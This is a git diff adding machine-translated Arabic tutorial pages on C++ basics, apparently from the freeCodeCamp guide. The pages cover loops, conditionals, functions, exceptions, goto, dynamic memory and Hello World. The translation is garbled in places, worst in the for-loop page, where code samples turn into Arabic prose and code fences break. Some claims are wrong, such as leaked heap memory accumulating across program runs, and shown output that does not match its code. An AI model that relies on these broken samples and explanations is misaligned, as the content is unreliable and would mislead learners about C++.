+المشغل الشرطي هو مشغل ثلاثي ، وهو يحتاج إلى 3 معاملات. تقوم بإرجاع واحدة من قيمتين بناءً على نتيجة تعبير يستخدم المشغل الشرطي لاستبدال عبارات if-else البسيطة.
+
+بناء الجملة :
+
+ `  (condition)?(expression-1):(expression-2); 
+` 
+
+هنا ، يتم تقييم expression-1 عندما يكون الشرط صحيحًا ويتم تقييم expression-2 عندما تكون condtion خاطئة. عبارة if-else مشابهة ستكون:
+
+ `if(condition) 
+  { 
+    expression-1; 
+  } 
+ else 
+  { 
+    expression-2; 
+  } 
+` 
+
+ومن ثم فإن العامل الشرطي سهل للغاية عندما تحتاج إلى كتابة عبارة if-else بسيطة. ويمكن أيضا أن تستخدم في # تعريف preprocessor عندما يتم استخدام حالة مماثلة في أماكن متعددة.
+
+على سبيل المثال ، يمكن استخدام الحد الأقصى لعدد المشغلين الشرطيين على النحو التالي:
+
+ `#define big(a,b) (a>=b)?a:b 
+ 
+ int maximum,x=5,y=6; // variable to store maximum of two numbers 
+ maximum=(x>y)?x:y; // directly using conditional operator 
+ maximum=big(x,y); // using the #define preprocessor defined above as big 
+` 
+
+**حظا سعيدا لكم جميعا**
+
+**الترميز سعيدة! :)**
+
+**لا تتردد في طرح أي استفسارات على صفحة GitHub [FreeCodeCamp](https://forum.freecodecamp.org/) أو [منتدى FreeCodeCamp.](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/do-while-loop/index.md b/client/src/guide/arabic/cplusplus/do-while-loop/index.md
new file mode 100644
index 0000000000..a34be501ee
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/do-while-loop/index.md
@@ -0,0 +1,40 @@
+---
+title: do while loop
+localeTitle: تفعل في حين حلقة
+---
+## هل في حين حلقة
+
+تكون `do while loop` تقريبًا مماثلة للحلقة "أثناء". `do while loop` " النموذج التالي:
+
+ `do 
+ { 
+  // do something; 
+ } while(expression); 
+` 
+
+ملاحظة: تذكر استخدام فاصلة منقوطة "؛" في نهاية الشرط.
+
+## تفاصيل حول حلقة أثناء الاستخدام
+
+يتم استخدام حلقة do-while عندما تكون متأكدًا أنه يجب إجراء عملية معينة (داخل الحلقة) مرة واحدة على الأقل. له العديد من المزايا مثل عدم تهيئة متغير التحقق (على سبيل المثال char addmore = 'Y') إلخ. الفاصلة المنقوطة في نهاية الوقت أمر لا بد منه.
+
+افعل شيئًا أولاً ثم اختبر إذا كان علينا المتابعة. والنتيجة هي أن الكتلة يتم تنفيذها مرة واحدة على الأقل. (لأن اختبار التعبير يأتي بعد ذلك). ألق نظرة على مثال:
+
+ `#include <iostream> 
+    using namespace std; 
+ 
+    int main() 
+    { 
+        int counter, howmuch; 
+ 
+        cin >> howmuch; 
+        counter = 0; 
+        do 
+        { 
+            counter++; 
+            cout << counter << '\n'; 
+        } 
+        while ( counter < howmuch); 
+        return 0; 
+    } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/dynamic-memory-allocation/index.md b/client/src/guide/arabic/cplusplus/dynamic-memory-allocation/index.md
new file mode 100644
index 0000000000..902f5ae927
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/dynamic-memory-allocation/index.md
@@ -0,0 +1,40 @@
+---
+title: Dynamic Memory Allocation
+localeTitle: تخصيص الذاكرة الديناميكية
+---
+## تخصيص الذاكرة الديناميكي في C ++
+
+### ما هو تخصيص الذاكرة الديناميكي في C ++؟
+
+*   يشير **تخصيص الذاكرة** في C ++ إلى الذاكرة المخصصة للمتغيرات التي تستخدمها في البرنامج.
+*   **تخصيص الذاكرة الديناميكي** هو الذاكرة التي يتم تخصيصها للمتغيرات في وقت التشغيل كما يتم تحديد مقدار الذاكرة المطلوبة في وقت التشغيل.
+*   تأتي هذه الذاكرة من **كومة الذاكرة المؤقتة** ، في حين أن المتغيرات _غير الساكنة_ والمتغيرات _المحلية_ تحصل على ذاكرة من **المكدس** .
+*   في C ++ ، يمكن للمبرمج إجراء عمليات تخصيص الذاكرة يدوياً ، ويسمى **_تخصيص الذاكرة الحيوية_** .
+*   كان من الممكن في C القيام بتخصيص الذاكرة الديناميكية ، باستخدام وظائف _calloc_ و _malloc_ لتخصيص الذاكرة واستخدام وظيفة _حرة_ لإزالة تخصيص الذاكرة الديناميكية.
+*   في C ++ ، بالإضافة إلى أعلاه ، هناك وظيفتان ، _جديدتان_ _وحذفان_ لأداء تخصيص الذاكرة الديناميكية _وإلغاء_ التخصيص.
+
+### مشغل جديد
+
+*   يمكن للمشغل `new` منح الذاكرة مبرمج من كومة الذاكرة المؤقتة (إذا كانت متوفرة). إذا كانت الذاكرة التي يطلبها المبرمج متاحة ، يقوم المشغل `new` بتهيئة الذاكرة ثم يقوم بإرجاع العنوان (المرجع) للذاكرة المخصصة.
+*   **بناء الجملة**  
+    `pointer-variable-type` = `pointer-variable-type` `data-type;` **جديد** `data-type;`  
+    المثال 1: `int *ptr` = **new** `int;`  
+    المثال 2: `int *ptr2` = **new** `int[10];`  
+    هنا ، يعد `pointer-variable-type` **مؤشرًا** `data type` . يمكن أن يكون `data-type` int أو char وما إلى ذلك أو نوع بيانات المعرفة من قبل المستخدم.
+
+### مشغل DELETE
+
+*   تقع على عاتق المبرمج مسؤولية إلغاء تخصيص الذاكرة الموزعة ديناميكياً ، وإلا لن تكون الذاكرة متوفرة لإعادة توزيعها حتى نهاية البرنامج.
+    
+*   لإلغاء تخصيص الذاكرة ، يمكن `delete` المشغل ويمكن استخدامه بواسطة المبرمج.
+    
+*   **بناء الجملة**  
+    **حذف** `pointer-type-variable;`  
+    على سبيل المثال ، لتحرير الذاكرة المخصصة في المثال 1 أعلاه ، فإننا نكتب:  
+    `delete ptr;`  
+    وبالمثل ، على سبيل المثال 2 ، يمكن تحرير الذاكرة من خلال:  
+    `delete ptr2` ؛
+    
+    ### تسريبات الذاكرة
+    
+    تحدث التساؤلات عندما تفشل في إلغاء تخصيص الذاكرة الديناميكية التي قمت بتخصيصها من خلال المشغل `New` في نهاية البرنامج. إذا لم تقم بإلغاء تخصيصها مع عامل التشغيل Delete ، فسيستمر الكمبيوتر في إنشاء ذاكرة جديدة في الذاكرة المؤقتة في كل مرة يتم فيها تشغيل البرنامج. يؤدي هذا إلى إبطاء الكمبيوتر لأنه لم يتم حذف الذاكرة وتقلل الذاكرة المتوفرة لديك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/erase-remove/index.md b/client/src/guide/arabic/cplusplus/erase-remove/index.md
new file mode 100644
index 0000000000..acfe0b6703
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/erase-remove/index.md
@@ -0,0 +1,86 @@
+---
+title: Erase–remove idiom
+localeTitle: مسح-إزالة لغة
+---
+## Desctiprion
+
+كيفية إزالة العناصر من الحاوية هي سؤال شائع في C ++ ، حتى تتمكن من كسب بعض النقاط ، إذا قرأت هذه الصفحة بعناية. إن عبارة idase – remove هي تقنية C ++ للقضاء على العناصر التي تستوفي معيارًا معينًا من الحاوية. Heverever ، من الممكن إزالة العناصر ذات العروق التقليدية المكتوبة يدويًا ، إلا أن عبارة idase – remove لها مزايا عديدة.
+
+### مقارنة
+
+ `// Using a hand-written loop 
+ std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+ for (auto iter = v.cbegin(); iter < v.cend(); /*iter++*/) 
+ { 
+    if (is_odd(*iter)) 
+    { 
+        iter = v.erase(iter); 
+    } 
+    else 
+    { 
+        ++iter; 
+    } 
+ } 
+ 
+ // Using the erase–remove idiom 
+ std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+ v.erase(std::remove_if(v.begin(), v.end(), is_odd), v.end()); 
+` 
+
+كما ترون ، يتطلب التعليمة البرمجية ذات حلقة مكتوبة يدويًا كتابة أكثر قليلاً ، ولكن لها أيضًا مشكلة في الأداء. يجب أن تقوم كل مكالمة `erase` بتحويل جميع العناصر بعد المحذوفة ، لتجنب "الفجوات" في المجموعة. داعيا `erase` عدة مرات على نفس الحاوية يولد الكثير من النفقات العامة من تحريك العناصر.
+
+ومن ناحية أخرى ، فإن الشفرة التي تحتوي على المصطلح "إزالة - إزالة" ليست فقط أكثر تعبيرا ، ولكنها أيضا أكثر كفاءة. أولاً ، يمكنك استخدام `remove_if/remove` لنقل جميع العناصر التي لا تلائم معايير الإزالة إلى مقدمة النطاق ، مع الاحتفاظ بالترتيب النسبي للعناصر. لذلك ، بعد استدعاء `remove_if/remove` ، `remove_if/remove` مكالمة واحدة من `erase` جميع العناصر المتبقية في نهاية النطاق.
+
+### مثال
+
+ `#include <vector> // the general-purpose vector container 
+ #include <iostream> // cout 
+ #include <algorithm> // remove and remove_if 
+ 
+ bool is_odd(int i) 
+ { 
+    return (i % 2) != 0; 
+ } 
+ 
+ void print(const std::vector<int> &vec) 
+ { 
+    for (const auto& i : vec) 
+        std::cout << i << ' '; 
+    std::cout << std::endl; 
+ } 
+ 
+ int main() 
+ { 
+    // initializes a vector that holds the numbers from 1-10. 
+    std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+    print(v); 
+ 
+    // removes all elements with the value 5 
+    v.erase(std::remove(v.begin(), v.end(), 5), v.end()); 
+    print(v); 
+ 
+    // removes all odd numbers 
+    v.erase(std::remove_if(v.begin(), v.end(), is_odd), v.end()); 
+    print(v); 
+ 
+    // removes multiples of 4 using lambda 
+    v.erase(std::remove_if(v.begin(), v.end(), [](int n) { return (n % 4) == 0; }), v.end()); 
+    print(v); 
+ 
+    return 0; 
+ } 
+ 
+ /* 
+ Output: 
+ 1 2 3 4 5 6 7 8 9 10 
+ 1 2 3 4 6 7 8 9 10 
+ 2 4 6 8 10 
+ 2 6 10 
+ */ 
+` 
+
+### مصادر
+
+"مسح - إزالة كلمة" ويكيبيديا: الموسوعة الحرة. Wikimedia Foundation، Inc. [en.wikipedia.org/wiki/Erase-remove\_idiom](https://en.wikipedia.org/wiki/Erase%E2%80%93remove_idiom)
+
+مايرز ، سكوت (2001). STL فعالة: 50 طرق محددة لتحسين استخدامك لمكتبة النماذج القياسية. أديسون ويسلي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/error handling/index.md b/client/src/guide/arabic/cplusplus/error handling/index.md
new file mode 100644
index 0000000000..2d534fd190
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/error handling/index.md	
@@ -0,0 +1,48 @@
+---
+title: Error Handling
+localeTitle: معالجة الأخطاء
+---
+# C ++ معالجة الاستثناء
+
+استثناء هو المشكلة التي تنشأ أثناء تنفيذ البرنامج. توفر الاستثناءات طريقة لنقل التحكم من جزء واحد من برنامج إلى آخر. تم بناء معالجة الاستثناء C ++ على ثلاث كلمات رئيسية: #try و #catch و #throw.
+
+*   # throw - يعرض برنامج استثناءً عند ظهور مشكلة. يتم ذلك باستخدام كلمة مرور.
+    
+*   # catch - برنامج يمسك استثناء مع معالج الاستثناء في المكان في برنامج حيث تريد معالجة المشكلة. تشير الكلمة الأساسية catch إلى اصطياد استثناء.
+    
+*   #try - يحدد كتلة المحاولة كتلة من التعليمات البرمجية التي سيتم تنشيط استثناءات معينة لها. يتبعها كتلة التقاط أو أكثر.
+    
+
+ `#include <iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+   int x = -1; 
+ 
+   // Some code 
+   cout << "Before try \n"; 
+   try { 
+      cout << "Inside try \n"; 
+      if (x < 0) 
+      { 
+         throw x; 
+         cout << "After throw (Never executed) \n"; 
+      } 
+   } 
+   catch (int x ) { 
+      cout << "Exception Caught \n"; 
+   } 
+ 
+   cout << "After catch (Will be executed) \n"; 
+   return 0; 
+ } 
+` 
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   تجميع أنواع الخطأ.
+*   فصل الخطأ معالجة رمز من الرمز العادي.
+*   يمكن للوظائف / الطرق التعامل مع أي استثناءات يختارونها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/for-loop/index.md b/client/src/guide/arabic/cplusplus/for-loop/index.md
new file mode 100644
index 0000000000..4ce2f51cce
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/for-loop/index.md
@@ -0,0 +1,90 @@
+---
+title: For Loop
+localeTitle: لحلقة
+---
+A For Loop هو عبارة تكرارية تستخدم للتحقق من وجود بعض الشرط ، وبناءً على الشرط ، يتم تنفيذ كتلة من التعليمات البرمجية بشكل متكرر حتى يتم استيفاء الشرط المحدد.
+
+يتم تمييز حلقة for عن حلقات التكرار الأخرى من خلال متغير حلقة صريح أو متغير حلقة يسمح للجسم من الحلقة معرفة التسلسل الدقيق لكل تكرار.
+
+ومن ثم ، فإن حلقة for هي بنية تحكم في التكرار تسمح لك بكتابة حلقة بكفاءة تحتاج إلى تنفيذ عدد محدد من المرات.
+
+## بناء الجملة
+
+ `for ( init; condition; increment ) { 
+   statement(s); 
+ } 
+` 
+
+من المسموح به لوضع الزيادة insie للحلقة مثل في حلقة في حين. بمعنى أن بناء الجملة مثل هذا يمكن أن يعمل أيضًا.
+
+ `for ( init; condition;) { 
+   statement(s); 
+   increment; 
+ } 
+` 
+
+### فيه
+
+تسمح لك هذه الخطوة بتعريف وتهيئة أي متغيرات تحكم في الحلقة. يتم تنفيذ هذه الخطوة أولاً ومرة ​​واحدة فقط.
+
+### شرط
+
+القادم يتم تقييم الشرط. إذا كان صحيحًا ، فسيتم تنفيذ نص الحلقة. إذا كانت تحتوي على false ، لا يتم تنفيذ نص الحلقة ويذهب تدفق عنصر التحكم إلى التكرار التالي (تكرار عملية).
+
+### تحديث
+
+يستخدم بيان التحديث لتغيير متغير الحلقة باستخدام عمليات بسيطة مثل الجمع أو الطرح أو الضرب أو القسمة. ينفّذ بيان التحديث بعد تنفيذ نص الحلقة.
+
+## التنفيذ:
+
+ `#include <iostream> 
+ using namespace std; // Here we use the scope resolution operator to define the scope of the standar functions as std:: 
+ 
+ int main () { 
+   // for loop execution 
+   for( int a = 10; a < 20; a = a + 1 ) { // The loop will run till the value of a is less than 20 
+      cout << "value of a: " << a << endl; 
+   } 
+ 
+   return 0; 
+ }``` 
+ 
+ Output: 
+ value of a: 10 
+ value of a: 11 
+ value of a: 12 
+ value of a: 13 
+ value of a: 14 
+ value of a: 15 
+ value of a: 16 
+ value of a: 17 
+ value of a: 18 
+ value of a: 19 
+ 
+ ##Single lined loop 
+ The body of the for loop need not be enclosed in braces if the loop iterates over only one satatement. 
+ ##Example 
+` 
+
+ج ++ #تتضمن استخدام اسم للمحطة؛
+
+انت مين () { // خط واحد للحلقة لـ (int a = 10؛ a <20؛ a = a + 1) cout << "قيمة a:" << a << endl؛
+
+العودة 0 } \`\` \`
+
+هذا من شأنه أن يولد نفس الناتج مثل البرنامج السابق. أي انتاج: قيمة أ: 10 قيمة أ: 11 قيمة أ: 12 قيمة أ: 13 قيمة a: 14 قيمة أ: 15 قيمة أ: 16 قيمة أ: 17 قيمة أ: 18 قيمة من: 19
+
+ `## Explanation 
+ Here's the initialization condition is first set to a=10. The loop first checks for this condition. It then checks for the condition expression ie a<20 which holds true as 10<20(for the first case). Now the body of the loop is executed and we get the output "Value of a: 10". Then the update expression is executed which adds the number 1 to 'a' and the value of 'a' gets updated to 11 and the same steps are followed (as above) until the value of v reaches less than 20 ie 19. 
+ 
+ # Range-based for-loop 
+ C++ also has what we call range-based for loops which iterates through all the elements of a container(eg array). 
+ 
+ ## Syntax 
+` 
+
+لـ (العنصر: الحاوية) صياغات)؛ }
+
+int \[5\] array = {1، 2، 3، 4، 5} لـ (int i: array) cout << i << endl؛ }
+
+انتاج: 1 2 3 4 5 \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/functions/index.md b/client/src/guide/arabic/cplusplus/functions/index.md
new file mode 100644
index 0000000000..79aa0d98f7
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/functions/index.md
@@ -0,0 +1,57 @@
+---
+title: Functions in C++
+localeTitle: وظائف في C ++
+---
+## فريف:
+
+الوظيفة هي مجموعة من العبارات التي تؤدي معا مهمة. كل برنامج C ++ لديه وظيفة واحدة على الأقل ، والتي هي main ().
+
+يخبر تعريف الدالة المحول البرمجي عن اسم الدالة ونوع الإرجاع والمعلمات. يوفر تعريف الدالة الجسم الفعلي للدالة.
+
+## الشكل العام لتعريف الدالة C ++:
+
+ `return_type function_name( parameter list ) 
+ { 
+   body of the function 
+ } 
+` 
+
+### نوع الإرجاع:
+
+قد ترجع الدالة قيمة. _نوع_ الإرجاع _هو نوع البيانات للقيمة التي ترجعها الدالة. تؤدي بعض الوظائف العمليات المطلوبة دون إرجاع قيمة. في هذه الحالة ، يكون_ نوع _الإرجاع_ هو الكلمة الرئيسية باطلة.
+
+### اسم وظيفة:
+
+هذا هو الاسم الفعلي للوظيفة. يمثل اسم الدالة وقائمة المعلمات معًا توقيع الدالة.
+
+### المعلمات:
+
+المعلمة تشبه عنصرًا نائبًا. عندما يتم استدعاء دالة ، يمكنك تمرير قيمة إلى المعلمة. يشار إلى هذه القيمة كمعلمة أو وسيطة فعلية. تشير قائمة المعلمات إلى نوع ، وترتيب ، وعدد معلمات الدالة. المعلمات اختيارية. أي ، قد لا تحتوي الدالة على معلمات.
+
+### جسم الوظيفة:
+
+يحتوي نص الدالة على مجموعة من العبارات التي تحدد وظيفة الدالة.
+
+## مثال:
+
+ `int max(int num1, int num2) 
+ { 
+   // local variable declaration 
+   int result; 
+ 
+   if (num1 > num2) 
+      result = num1; 
+   else 
+      result = num2; 
+ 
+   return result; 
+ } 
+` 
+
+## لماذا تعتبر الوظائف مهمة؟
+
+تدعم وظائف النمطية (تقسيم العمل إلى أجزاء أصغر تسمى الوحدات) وهي ميزة أساسية لـ OOP والتي تفصل C ++ من C. وجود وظائف محددة لأداء مهام محددة يزيل التشويش ويقلل من طول الوظيفة الرئيسية. تؤدي الوظيفة أيضًا إمكانية إعادة استخدام الشفرة. لذا في المرة التالية التي يتعين عليك فيها حساب الحد الأقصى من رقمين مختلفين ومرة ​​أخرى في نفس البرنامج ، لن تحتاج إلى نسخ الشفرة ولصقها. عليك فقط استدعاء الوظيفة ولا بقية العمل.
+
+## معلومات اكثر
+
+*   [TutorialsPoint](https://www.tutorialspoint.com/cplusplus/cpp_functions.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/goto/index.md b/client/src/guide/arabic/cplusplus/goto/index.md
new file mode 100644
index 0000000000..95f92c35ff
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/goto/index.md
@@ -0,0 +1,27 @@
+---
+title: goto as a powerful utility
+localeTitle: اذهب كمنفعة قوية
+---
+# مقدمة لاستخدام goto والملصقات
+
+goto هي واحدة من أقوى المنطق الذي تم الاستهانة به إلى حد كبير في لغة ++ c ++. يمكن تحقيق مقدارًا فائقًا من التحسين باستخدام goto ، بشرط أن يتم استخدامه بشكل صحيح. يفعل ذلك الذي يدعى باسم. يذهب إلى حدوث المذكورة من التسمية التالية ، أينما يكون.
+
+# المصطلح
+
+ `goto - The keyword used to go to the particular label. 
+ label - this can be named anything. 
+` 
+
+# بناء الجملة
+
+غوتو.
+
+(بدون <>) ؛
+
+// هذا يأخذ إكس إلى المظهر التالي من التسمية.
+
+goto هو أمر يتجاوز كل الحلقات. لكي تكون أكثر وضوحًا في هذه النقطة ، إليك مثال.
+
+https://code.sololearn.com/cI4qqQA8W2q3
+
+ومع ذلك ، يجب توخي الحذر لاستخدام goto بعناية فائقة ، لا سيما في الأيام الأولى من الترميز لأنه يمكن أن يؤدي إلى مشاكل الجنون ، إذا لم يفهم بشكل جيد بما فيه الكفاية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/if-else-statement/index.md b/client/src/guide/arabic/cplusplus/if-else-statement/index.md
new file mode 100644
index 0000000000..a918836d1d
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/if-else-statement/index.md
@@ -0,0 +1,187 @@
+---
+title: If-Else Statement
+localeTitle: If-Else Statement
+---
## ماذا يفعل بيان If-Else؟
+
+*   عبارة If-Else عبارة عن ملحق عبارة If بسيطة.
+*   في عبارة If البسيطة ، إذا كانت قيمة تعبير الاختبار غير صحيحة ، فإننا نتخطى رمز الحظر ونستمر في بياننا التالي.
+*   ولكن في كثير من الأحيان ، نرغب في تنفيذ خطوات معينة إذا كانت قيمة التعبير التجريبي خاطئة.
+*   في مثل هذه الحالات ، نستخدم بيان if-else.
+
+### الشكل العام لبيان "If-Else"
+
+ `if (test expression) 
+ { 
+  //statements that run if the test expression is true 
+ } 
+ else 
+ { 
+  //statements that run if the test expression is false 
+ } 
+` 
+
+### مثال على بيان If-Else
+
+إذا كان اختبار التعبير صحيحًا:
+
+ `int a=10; 
+ if (a < 20) // This expression is true, so... 
+ { 
+  //...the code in this block gets executed, and... 
+ } 
+ else 
+ { 
+  //...the code in this block gets skipped. 
+ } 
+ //program continues 
+` 
+
+إذا كان اختبار التعبير غير صحيح:
+
+ `int a=10; 
+ if (a>20) // This expression is false, so this time... 
+ { 
+  //...this code gets skipped... 
+ } 
+ else 
+ { 
+  //...and this code executes instead. 
+ } 
+ //program continues 
+` 
+
+### مثال في C ++:
+
+ `//Program to check whether number entered by user is positive or negative 
+ #include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+  int no; 
+  cout << "Enter a number: " << endl; 
+ 
+  cin >> no; 
+ 
+  // condition to check if number is positive or negative 
+  if (no >= 0) // positive 
+  { 
+    // block if value is true 
+    cout << "You entered a positive number: " << no << endl; 
+  } 
+  else         // negative 
+  { 
+    // block if value is false 
+    cout << "You entered a negative number: " << no << endl; 
+  } 
+ 
+  // program continues 
+  cout << "This step is always printed" << endl; 
+  return 0; 
+ } 
+` 
+
+#### انتاج |
+
+*   عندما يتم إدخال رقم موجب:
+
+ `Enter a number: 
+ 4 
+ You entered a positive number: 4 
+ This step is always printed 
+` 
+
+*   عندما يتم إدخال رقم سالب:
+
+ `Enter a number: 
+ -200 
+ You entered a negative number: -200 
+ This step is always printed 
+` 
+
+[جرب الشفرة بنفسك](https://repl.it/MzBq)
+
+# **لا تتردد في طرح أي استفسارات على صفحة GitHub [FreeCodeCamp](https://forum.freecodecamp.org/) أو [منتدى FreeCodeCamp.](https://forum.freecodecamp.org/)**
+
+[جرب الشفرة بنفسك](https://repl.it/MzBq)
+
+### استخدام إذا كان ... آخر إذا ... آخر سلم
+
+إذا كان علينا اتخاذ قرارات استنادًا إلى أكثر من شرط واحد في حالة استخدام آخر. نستخدم آخر إذا كان الشرط على النحو التالي -
+
+ `#include<iostream> 
+ int main() 
+ { 
+    int score; 
+    std::cout<<"Enter your score: \n"; 
+    std::cin>>score; 
+    if(score>=90) 
+        std::cout<<"Top performance."; 
+    else if(score<90 && score>=70) 
+        std::cout<<"Good performance"; 
+    else if(score<70 && score>=45) 
+        std::cout<<"Average performance"; 
+    else if(score<45 && score>=30) 
+        std::cout<<"You can improve it."; 
+   return 0; 
+ } 
+` 
+
+#### انتاج |
+
+ `Enter your score: 
+ 85 
+ Good performance 
+` 
+
+### مثال آخر إذا كان ... آخر إذا ... آخر سلم
+
+لنفترض أن لدينا إدخال المستخدم رقمين وسوف نعرض إذا كان أي من الرقمين أكبر من الآخر. وإذا لم يكن أي منهما أكبر من الآخر ، فنطبع العبارة "كلاهما متساويان".
+
+في هذا scinerio سوف نحتاج إلى ... آخر إذا ... آخر بيان سلم. سيبدو البرنامج كما يلي:
+
+ `#include<iostream> 
+ using namespace std; 
+ int main() 
+ { 
+    int number1,number2; 
+    cout << "Enter first number: \n"; 
+    cin >> number1; 
+    cout << "Enter second number: \n"; 
+    cin >> number2; 
+ 
+    if(number1 > number2)     // Checks if the first number is greater than the second number 
+    { 
+        cout << "Number 1 is greater."; 
+    } 
+    else if(number2 > number1)    // Checks if the second number is greater than the first number 
+    { 
+        cout << "Number 2 is greater."; 
+    } 
+    else    // If both of the above cases return false, then both numbers are equal 
+    { 
+        cout << "Both the numbers are equal."; 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+#### انتاج |
+
+ `Enter first number: 
+ 85 
+ Enter second number: 
+ 86 
+ Number 2 is greater. 
+` 
+
+*   لاحظ أن البرنامج سيتحقق فقط من حالة "آخر إذا" عندما لا يكون شرط "if" الأولي مرضياً. وإذا لم يتم استيفاء أي من هذه الشروط ، يتم تنفيذ كتلة "آخر" آخر والتي تطبع البيان: "كلا الأرقام متساوية".
+    
+*   حجم إذا كان ... آخر إذا ... قد يختلف السلم الآخر اعتمادًا على المشكلة التي يحاول البرنامج حلها وعدد الشروط التي تحتاج إلى التحقق منها.
+    
+
+**حظا سعيدا لكم جميعا**
+
+**الترميز سعيدة! :)**
+
+**لا تتردد في طرح أي استفسارات على صفحة GitHub [في freeCodeCamp.org](https://forum.freecodecamp.org/) أو [منتدى freeCodeCamp.org](https://forum.freecodecamp.org/)** .
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/index.md b/client/src/guide/arabic/cplusplus/index.md
new file mode 100644
index 0000000000..32d297b577
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/index.md
@@ -0,0 +1,99 @@
+---
+title: C++
+localeTitle: C ++
+---
# مرحبا بالعالم! - برنامج C ++ الأول الخاص بك
+
+## ما هو C ++؟
+
+*   C ++ هي لغة برمجة عامة الغرض تم استخدامها منذ التسعينات
+    
+*   تم تصميمه من قبل Bjarne Stroustrup تحت اسم "C with classes".
+    
+*   وهو إصدار من C يتضمن عناصر موجهة للعناصر ، بما في ذلك الفئات والوظائف.
+    
+*   تعتبر واحدة من أكبر لغات البرمجة ، كما ترون في الصورة التالية: ![IMG](http://static1.businessinsider.com/image/59deb30392406c21008b6148-1200/for-bonus-points-heres-the-chart-showing-these-languages-relative-popularity.jpg) _المصدر: جيثب_
+    
+
+### البرنامج الأول في C ++
+
+ `#include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+    cout << "Hello World" << endl; 
+    return 0; 
+ } 
+` 
+
+#### سيكون الناتج من هذا البرنامج ببساطة:
+
+ `Hello World! 
+` 
+
+الآن ، دعونا نحطم الشفرة:
+
+#### الأسطر 1 و 2
+
+ `#include <iostream> 
+ using namespace std; 
+` 
+
+*   السطر الأول يخبر الكمبيوتر باستخدام ملف الرأس "iostream" لهذا البرنامج المحدد. ملف رأس هو ملف منفصل مع رمز C ++ مكتوبة مسبقا. هناك العديد من الملفات الرأسية الأخرى المطلوبة لتشغيل برنامج معين بشكل صحيح. البعض منهم: الرياضيات ، ناقلات وسلسلة. يتم تمثيل ملفات الرأس بشكل عام بامتداد ".h" (لا تحتاج إلى إضافة .h عند تضمين ملفات مكتبة قياسية C ++)
+*   يقف `iostream` لتيار المدخلات والمخرجات. يحتوي ملف "iostream" على كود يسمح للكمبيوتر بأخذ المدخلات وتوليد مخرجات ، باستخدام لغة C ++.
+*   يخبر السطر الثاني الكمبيوتر لاستخدام مساحة الاسم القياسية التي تتضمن ميزات C ++ القياسية. يمكنك كتابة هذا البرنامج بدون هذا الخط ، ولكن سيكون عليك استخدام `std::cout` بدلاً من `cout` و `std::endl` بدلاً من `endl` على السطر 4. يجعل التعليمة البرمجية أكثر قابلية للقراءة وحياتنا كمبرمجين أسهل.
+
+#### الخط 3 و 4
+
+ `int main() 
+ { 
+` 
+
+*   يبدأ C ++ تنفيذ برنامج من main- `int main()` . أثناء التنفيذ ، يبدأ الكمبيوتر بتشغيل التعليمات البرمجية من كل سطر من `{` (قوس فتح) حتى `}` (قوس الإغلاق) **ملحوظة: تبدأ كل دالة بدعامة مكشوفة افتتاحية "{" وتنتهي باستدارة متعرجة مغلقة "}".**
+*   يشير السطر 4 إلى بداية الدالة main ().
+
+#### خطوط 5 و 6 و 7
+
+ `    cout << "Hello World" << endl; 
+    return 0; 
+ } 
+` 
+
+*   يتم استخدام الكلمة `cout` في C ++ للإخراج.
+*   تليها `<<` ، _مشغل الإدراج_ .
+*   كل ما هو موجود في علامات الاقتباس المزدوجة `""` مطبوع. تحتوي بعض الأحرف الخاصة على صيغة مختلفة لبيانات الطباعة
+*   الآن لطباعة أي نوع آخر من البيانات ، يجب عليك إضافة `<<` .
+
+**_التحدي: حاول تغيير Hello World إلى أي جملة أو كلمة (كلمات) أخرى. ماذا سيكون الإخراج؟_**
+
+*   `endl` كلمة محجوزة عند استخدام لغة C ++ **لإنهاء هذا الخط والانتقال إلى السطر التالي أثناء الإخراج** . - _cout لتقف على "وحدة التحكم الإخراج"_
+*   وأخيراً ، قم بإنهاء الأمر بفاصلة منقوطة `;` .
+
+**ملاحظة: يجب أن يتم إنهاء كل أمر باستثناء تعريف الدالة الرئيسي وتوجيه #include بواسطة الفاصلة المنقوطة. بدون "؛" ، قد تصادف خطأ.**
+
+*   `return 0;` ينهي بأمان الوظيفة الحالية أي "الرئيسية ()" في هذه الحالة ، وبما أن أي وظيفة لا تتبع بعد "الرئيسي ()" يتم إنهاء البرنامج.
+*   لا تنس أن تخبر الكمبيوتر أن هذه نهاية الدالة main (). للقيام بذلك ، يمكنك إضافة قوس الإغلاق مجعد "}". ستواجه خطأ قبل تنفيذ البرنامج إذا لم تقم بتضمين **}** .
+
+### يجب أن يظهر الرمز على النحو التالي:
+
+![IMG](https://i.imgur.com/d1liGwI.png)
+
+يستخدم المبرمجون برنامج Hello World (مثل هذا البرنامج) كطقس يستخدم لغة برمجة جديدة. إنه رمز لحسن الحظ.  
+_لقد انتهيت من برمجة برنامج C ++ الأول وفهمت معظم الشفرة التي كتبتها / كتبت. تهانينا!_
+
+**بالتوفيق لكم جميعا والترميز سعيدة! :)**
+
+**الترميز سعيدة! :)**
+
